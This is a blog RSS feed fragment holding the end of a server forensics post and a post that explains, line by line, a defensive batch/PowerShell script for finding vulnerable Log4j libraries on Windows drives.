href="https://demo.eventsentry.com/servicehistory?search.query=%20computer%3ADESKTOP01%20&amp;search.dateRange=Last%2024%20hours&amp;search.group=&amp;search.order=&amp;search.sort=desc&amp;search.refresh=&amp;search.page=1&amp;search.limit=25&amp;search.type=detailed&amp;report=">https://demo.eventsentry.com/servicehistory?search.query=%20computer%3ADESKTOP01%20&amp;search.dateRange=Last%2024%20hours&amp;search.group=&amp;search.order=&amp;search.sort=desc&amp;search.refresh=&amp;search.page=1&amp;search.limit=25&amp;search.type=detailed&amp;report=</a>)</figcaption></figure><p>Obviously, I summarized quite a bit so as not to make this article too boring. Always remember to disconnect the server from the network. All the data I reviewed and showed here in the article, as well as much more such as event logs and security logs, was already in a DB accessible from WebReports outside the server.</p><p>At the end of the day, I saw the value of all the time invested in configuring <a href="https://www.eventsentry.com/">EventSentry</a>. Can you imagine going to sleep thinking that the next day you might find all the company’s files encrypted?</p><p>This is where the famous “peace of mind” comes in; having the support, the information, and the tools to be able to do a thorough forensic analysis, means I was able to end my day with “peace of mind”.</p><p>Obviously at this point, since this was a brand new server, it was re-formatted and made from scratch. But with <a href="https://www.eventsentry.com/">EventSentry</a>, I was able to check that it didn’t leave any traces or had access to any network resources. To feel firsthand the value of that tool, for me, was priceless.</p><h3><strong>Thanks for reading!</strong></h3><p>If you have any doubts or questions you can always look for me on LinkedIn: <a href="https://www.linkedin.com/in/jvmbruno/">https://www.linkedin.com/in/jvmbruno/</a></p><p>or send me an email to [Email Work] mariano.bruno[ at ]netikus.com or [Personal Email] jvmbruno[ at ]protonmail.com</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f28b7a4ef4f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Another Log4J Post. (Easy script to run in your network)]]></title>
            <link>https://medium.com/@jvmbruno/another-log4j-post-easy-script-to-run-in-your-network-2b4574e8cfe5?source=rss-1bd6425bd6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/2b4574e8cfe5</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[windows-batch]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[log4j]]></category>
            <category><![CDATA[powershell]]></category>
            <dc:creator><![CDATA[Javier Bruno]]></dc:creator>
            <pubDate>Tue, 21 Dec 2021 23:15:23 GMT</pubDate>
            <atom:updated>2021-12-21T23:15:23.849Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*yeDdUoTusnazaJtWiZYTgQ.jpeg" /></figure><p>So, everyone is talking about Log4j, everywhere. It ended up that almost your Microwave ran log4j. Well not that much, but from games, to monitor tools, virtualization software, crypto currency platforms, and so on. There are lot of tools out there, some of them complex, much of them paid.</p><p>So I decided to write the most simple script to run on your computer, or can be pushed over the network.</p><p>This script combines windows batch with one line PowerShell command.</p><p>Lets call the file “log4j-scanner.cmd”</p><p>Code:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6b25fd48b172595e69e5ff30d41ad712/href">https://medium.com/media/6b25fd48b172595e69e5ff30d41ad712/href</a></iframe><p>(Note: for updated versions of the script please check the GitHub <a href="https://github.com/eventsentry/scripts/blob/main/Log4J-Vuln-Scanner.cmd">HERE</a>)</p><p>You can simply run that script by hand on your computer os server (with admin rights of course to have access to all folders) and will print back if it finds a vulnerable library.</p><p>You can also trigger a run in several network computers using tools like Admin Assistant (free) from Netikus/EventSentry (Found in <a href="https://www.eventsentry.com/adminassistant">HERE</a>), with this tool you can add or import a list of computers and execute the script in all of them, and receive the script output. Also EventSentry has this script already embeded into the database of validation scripts (More info <a href="https://www.eventsentry.com/validationscripts">HERE</a>)</p><h3>Lets explain the code:</h3><p>1- @Echo off [Will just hide the lines of the scripts while execute them]<br>2- :: EventSentry Validation Script to search… [ A comment line ]<br>3- ECHO Vulnerable Log4J Libraries Found (if any): [Text for output on screen[<br>4a- for /F “skip=1” %%C in (‘%SystemRoot%\System32\wbem\wmic logicaldisk where drivetype^=3 get caption’) [I will cut this line in parts to better explain. the command “for” will skipt the first line of the otput of the WMIC command, and pick up all other results. This WMIC command will print all the “fixed” local drives. Drivetype 3 means all local drives. This will avoid cd/dvd rooms, card readers, etc. will focus on local hard-drives and partitions, and will save the list into %%C.]<br>4b- do for /F %%D in (“%%C”) [Por cada resultado (unidad) que hay en %%c, ejecutar…]<br>4c- do PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command “gci %%D\ -rec -force -include log4j*.jar -ea 0 | foreach {select-string “JndiLookup.class” $_} | select -exp Path” | %SystemRoot%\System32\findstr.exe /V “2.16 2.17 2.18”IF [Here is where the magic happens. the first part of this line is just calling powershell, and execute the line even if powershell scripting is disabled (by security). GCI (Get-ChildItem by abbreviation) will list all files on the unit %%D (replaced with each letter(s) that we obtained from the WMI command) and for each lof4j*.jar file found will search for the string JndiLookup.class which is the known class that contains the vulnerability. And will print the file if that class is found. After that all results are filtered by findstr, excluding the versions that are know to be fixed. This is because some alternative pre-fixes were to delete the class from the library. So the version seems to be vulnerable, but is not because it does not contain the vulnerable class. This will avoid false positives.<br>5- IF %ERRORLEVEL% == 0 EXIT /B 1<br>IF %ERRORLEVEL% == 1 EXIT /B 0 So, if findstr finds output (that the powershel line found a vulnerable library) will finish with errorlevel 0 since its a match. but for us thats a problem. So we invert the errorlevel. So, if errorlevel is 0 (found vulnerable library) script will exit with errorlevel 1. And viceversa.</p><p>With this errorlevel output you can automate the script in your network known that if the script exited with errorlevel 1, that machine contains a vulnerable library</p><p>Hope this small script and the explanation of the code helps!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2b4574e8cfe5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>